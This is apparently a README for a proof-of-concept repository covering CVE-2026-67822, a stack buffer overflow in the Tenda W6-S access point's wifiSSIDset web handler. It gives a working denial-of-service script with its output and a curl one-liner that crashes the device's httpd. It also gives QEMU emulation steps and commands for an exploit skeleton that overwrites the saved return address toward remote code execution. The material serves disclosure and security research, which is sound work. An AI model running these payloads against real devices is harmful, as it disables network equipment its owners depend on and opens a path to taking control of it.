CVE-2026-67822 — Tenda W6-S wifiSSIDset Stack Buffer Overflow (PoC)

Companion PoC for the Hunt-Benito article "GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler".

CVE-2026-67822 (CVSS 9.8 Critical, CWE-121) is a stack-based buffer overflow in formwrlSSIDset(), the C function behind the /goform/wifiSSIDset endpoint of the Tenda W6-S wireless access point's /bin/httpd (a GoAhead-derived web server).

char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

Confirmed impact: denial of service (httpd crash). Potential impact: remote code execution (MIPS, no stack canary / no ASLR on the build).

Repository contents

Quick start: DoS reproduction

Against a real W6-S (default LAN IP 192.168.5.10) or an emulated instance:

$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

Equivalent one-liner:

$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

After the request returns, the management interface is dead until a power-cycle.

Reproducing without hardware (QEMU MIPS + fake_apmib.so)

/bin/httpd expects real Tenda silicon (libapmib.so, the cfmd daemon, a LAN MAC). The fake_apmib.c shim fakes just enough of those to let httpd boot inside an emulated firmware filesystem. The setup mirrors the original researcher's technique.

1. Build the shim for MIPS big-endian

$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. Host networking — bridge + TAP

$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. Boot a MIPS Malta guest

$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. Inside the guest: configure the interface and stage the firmware

guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. Chroot and launch httpd with the shim

guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

The management interface is now reachable at http://192.168.5.10 (default login admin / admin), and poc_dos.py works against it exactly as it does against real hardware.

The exact prototypes of Tenda's internal apmib/cfmd helpers vary across firmware builds. Confirm them against your target's real libapmib.so (objdump -T libapmib.so / IDA) and adjust fake_apmib.c as needed.

Conceptual RCE path

exploit_conceptual.py documents the exploitation shape beyond the DoS:

# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

This skeleton redirects $ra only. Turning the hijack into actual code execution requires either non-NX-stack shellcode or a ROP chain assembled from gadgets in the specific firmware image — both build-specific and intentionally left to the researcher. The DoS is confirmed; RCE is the plausible worst case the CVSS vector (C:H/I:H) reflects.

Legal / responsible use

This code is for authorised security research only. Run it solely against devices you own or have explicit written permission to test. Do not use it against networks or hardware you do not control.

References

• NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
• Original PoC writeup (trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
• MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
• Tenda W6-S product page: https://www.tendacn.com/material/show/103478